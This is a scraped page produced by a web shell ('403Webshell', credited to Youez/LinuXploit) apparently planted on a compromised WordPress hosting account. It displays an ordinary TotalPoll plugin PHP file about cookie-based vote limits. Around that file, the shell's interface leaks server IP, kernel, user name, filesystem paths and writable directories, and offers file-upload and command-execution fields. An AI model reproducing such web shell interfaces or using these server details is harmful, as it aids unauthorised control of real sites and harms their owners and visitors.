403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.225.72.181
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/totalpoll-lite/src/Restrictions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/totalpoll-lite/src/Restrictions/Cookies.php
<?php

namespace TotalPoll\Restrictions;

/**
 * Cookies Restriction.
 *
 * @package TotalPoll\Restrictions
 */
class Cookies extends Restriction {
	/**
	 * @return bool|\WP_Error
	 */
	public function check() {
		$cookieName  = $this->getCookieName( 'cookies' );
		$cookieValue = absint( $this->getCookie( $cookieName ) );
		$result      = ! ( $cookieValue >= $this->getVotesPerSession() );

		return $result ?: new \WP_Error( 'cookies', $this->getMessage() );
	}

	/**
	 * Apply restriction.
	 */
	public function apply() {
		$cookieTimeout = $this->getTimeout();
		$cookieName    = $this->getCookieName( 'cookies' );
		$cookieValue   = absint( $this->getCookie( $cookieName ) );
		$this->setCookie( $cookieName, $cookieValue + 1, $cookieTimeout );

		// Add received choices as cookies
		$receivedChoicesCookieName  = $this->generateCookieName( 'received_' . $this->getPollId() . $this->getPollUid() );
		$receivedChoicesCookieValue = implode('__', $this->getPollReceivedChoices());
		$this->setCookie( $receivedChoicesCookieName, $receivedChoicesCookieValue, $cookieTimeout );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit